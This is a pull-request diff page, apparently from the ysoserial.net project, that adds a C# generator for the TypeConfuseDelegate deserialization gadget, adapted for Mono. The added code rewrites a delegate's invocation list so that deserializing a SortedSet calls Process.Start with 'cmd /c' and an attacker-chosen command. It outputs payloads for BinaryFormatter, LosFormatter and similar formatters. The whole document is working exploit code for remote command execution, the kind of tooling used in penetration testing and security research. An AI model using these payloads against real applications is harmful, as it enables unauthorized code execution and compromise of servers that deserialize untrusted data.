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Merge pull request #45 from denandz/typeconfusedelegate-mono-generator
Added Mono compatible TypeConfuseDelegate generator
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| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,57 @@ | ||
| using System; | ||
| using System.Collections.Generic; | ||
| using System.Diagnostics; | ||
| using System.IO; | ||
| using System.Reflection; | ||
|
|
||
| namespace ysoserial.Generators | ||
| { | ||
| class TypeConfuseDelegateMonoGenerator : GenericGenerator | ||
| { | ||
| public override string Name() | ||
| { | ||
| return "TypeConfuseDelegateMono"; | ||
| } | ||
|
|
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| public override string Description() | ||
| { | ||
| return "TypeConfuseDelegate gadget by James Forshaw - Tweaked to work with Mono"; | ||
| } | ||
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|
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| public override List<string> SupportedFormatters() | ||
| { | ||
| return new List<string> { "BinaryFormatter", "ObjectStateFormatter", "NetDataContractSerializer", "LosFormatter" }; | ||
| } | ||
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| public override object Generate(string cmd, string formatter, Boolean test) | ||
| { | ||
| return Serialize(TypeConfuseDelegateGadget(cmd), formatter, test); | ||
| } | ||
|
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| /* this can be used easily by the plugins as well */ | ||
| public object TypeConfuseDelegateGadget(string cmd) | ||
| { | ||
| if (File.Exists(cmd)) | ||
| { | ||
| Console.Error.WriteLine("Reading command from file " + cmd + " ..."); | ||
| cmd = File.ReadAllText(cmd); | ||
| } | ||
| Delegate da = new Comparison<string>(String.Compare); | ||
| Comparison<string> d = (Comparison<string>)MulticastDelegate.Combine(da, da); | ||
| IComparer<string> comp = Comparer<string>.Create(d); | ||
| SortedSet<string> set = new SortedSet<string>(comp); | ||
| set.Add("cmd"); | ||
| set.Add("/c " + cmd); | ||
|
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| FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance); | ||
| object[] invoke_list = d.GetInvocationList(); | ||
| // Modify the invocation list to add Process::Start(string, string) | ||
| invoke_list[0] = new Func<string, string, Process>(Process.Start); | ||
| invoke_list[1] = new Func<string, string, Process>(Process.Start); | ||
| fi.SetValue(d, invoke_list); | ||
|
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| return set; | ||
| } | ||
|
|
||
| } | ||
| } |
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